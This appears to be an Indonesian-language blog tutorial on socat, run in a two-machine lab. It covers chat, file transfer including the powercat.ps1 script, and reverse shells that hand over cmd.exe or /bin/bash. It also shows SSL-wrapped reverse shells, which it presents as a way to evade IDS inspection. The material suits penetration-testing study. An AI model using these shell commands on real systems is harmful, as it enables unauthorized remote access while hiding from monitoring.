SOCAT
Socat adalah sebuah utilitas yang menghubungkan dua byte stream (byte stream) dua arah dan melakukan transfer data diantara mereka.Socat mirip seperti netcat, tetapi memiliki tambahan fungsi yang lebih.
Sama seperti netcat, socat dasarnya bisa digunakan untuk melakukan chat antara kita dengan orang lain dengan perantara mesin.
Disini saya menggunakan 2 mesin. Windows dengan IP 10.20.20.2 dan Linux dengan IP 10.20.20.204.
Untuk command dasarnya seperti dibawah ini. saya akan menjadikan Linux sebagai servernya.
Server : socat -d -d - TCP4-LISTEN:1033
Client : socat -d -d - TCP4:10.20.20.204:1033
Socat File Transfer
Socat bisa juga digunakan untuk trasfer file. Commandnya sebagai berikut :Pengirim Linux Socat Server:
socat TCP4-LISTEN:1033,fork file:file.linux.txt
Penerima Windows Socat Client:
socat TCP4:10.20.20.204:1033 file:dari.linux.txt,create
D:\Tools\socat-1.7.3.2-1-x86_64>more dari.linux.txt
File ini dikirim dari linux
Server atau client sama sama bisa melakukan mengirim atau menerima, tinggal disesuaikan saja. Kalau mau terima itu ditambahkan file:dari.linux.txt,create. Kalau mau kirim, ditambahkan ,fork file:file.linux.txt
Penerima Windows Socat Server
socat -d -d TCP4-LISTEN:1433 file:powercat.ps1,create
Pengirim Linux Socat Client :
socat -d -d TCP:10.20.20.2:1433,fork file:powercat.ps1
Reverse Shell
Kita juga bisa menjalankan shell antara mesin dengan socat. Reverse Shell disini maksudnya, kita dapat meremote shell cmd di linux dengan socat, begitupun sebaliknya. Kita bisa juga menjalankan shell linux dengan socat di windows.Jalankan dahulu Socat servernya. Untuk mengetes reverse shell Windows, jalankan command berikut di Linux, untuk reverse shell Linux jalankan command berikut di windows :
Menjalankan Socat Listener
socat -d -d - TCP4-LISTEN:1033
Reverse Shell Windows :
socat.exe TCP4:10.20.20.204:1033 EXEC:'cmd.exe',pipes
Reverse Shell Linux :
socat TCP4:10.20.20.2:1033 EXEC:/bin/bash


Reverse Shell with SSL
Kita juga bisa menambahkan enkripsi dalam socat ini, khususnya ketika menjalankan reverse shell. Karena, ketika dalam suatu jaringan terdapat IDS, akan ketahuan apa yang dilakukan pada komunikasi socat ini, termasuk transfer file. Ketika kita manjalankan transfer file pun keliatan isi file yang ditransfer.Berikut ini contoh hasil capture wireshark terhadap komunikasi yang dilakukan sebelumnya.
Disini kita akan membuat certificatenya dahulu. Biar lebih gampang, kita akan menjalankan server di Linux.
Eksekusi di Linux :
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 465 -out bind_shell.crt
cat bind_shell.key bind_shell.crt > bind_shell.pem
sudo socat -d -d - OPENSSL-LISTEN:8443,cert=bind_shell.pem,verify=0
Pada command diatas, kita harus menyatukan file .key dan .crt menjadi file .pem sesuai format yang diterima oleh socat.
Eksekusi di Windows :
socat OPENSSL:10.20.20.204:8443,verify=0 EXEC:'cmd.exe',pipes
Eksekusi di Linux lainnyau ntuk reverse shell Linux:
socat OPENSSL:10.20.20.204:8443,verify=0 EXEC:/bin/bash
Hasil capture wireshark:
loading...
Comments
Post a Comment